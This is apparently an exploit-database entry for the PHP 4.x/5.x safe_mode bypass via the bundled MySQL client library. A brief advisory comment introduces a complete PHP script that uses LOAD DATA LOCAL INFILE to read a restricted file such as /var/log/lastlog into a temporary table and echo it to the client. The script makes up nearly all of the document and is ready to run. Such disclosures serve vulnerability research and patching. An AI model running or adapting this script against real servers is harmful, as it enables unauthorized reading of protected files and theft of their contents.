PHP 4.x/5.x MySQL Library - 'Safe_mode' Filesystem Circumvention (1)

<?php
/* 
source: https://www.securityfocus.com/bid/4026/info

PHP's 'safe_mode' feature may be used to restrict access to certain areas of a filesystem by PHP scripts. However, a problem has been discovered that may allow an attacker to bypass these restrictions to gain unauthorized access to areas of the filesystem that are restricted when PHP 'safe_mode' is enabled. 

In particular, the MySQL client library that ships with PHP fails to properly honor 'safe_mode'. As a result, a user can issue a LOAD DATA statement to read files that reside in restricted areas of the filesystem (as determined by 'safe_mode').
*/

/*
   PHP Safe Mode Problem

   This script will connect to a database server running locally or
otherwise,
   create a temporary table with one column, use the LOAD DATA statement
to
   read a (possibly binary) file, then reads it back to the client.

   Any type of file may pass through this 'proxy'. Although unrelated,
this
   may also be used to access files on the DB server (although they must
be
   world-readable or in MySQLd's basedir, according to docs).
*/


$host = 'localhost';
$user = 'root';
$pass = 'letmein';
$db   = 'test_database';

$filename = '/var/log/lastlog';     /* File to grab from [local] server */
$local = true;                      /* Read from local filesystem */

$local = $local ? 'LOCAL' : '';


$sql = array (
   "USE $db",

   'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)',

   "LOAD DATA $local INFILE '$filename' INTO TABLE $tbl FIELDS "
   . "TERMINATED BY       '__THIS_NEVER_HAPPENS__' "
   . "ESCAPED BY          '' "
   . "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'",

   "SELECT a FROM $tbl LIMIT 1"
);

Header ('Content-type: text/plain');

mysql_connect ($host, $user, $pass);

foreach ($sql as $statement) {
   $q = mysql_query ($statement);

   if ($q == false) die (
      "FAILED: " . $statement . "\n" .
      "REASON: " . mysql_error () . "\n"
   );

   if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue;

   echo $r [0];
   mysql_free_result ($q);
}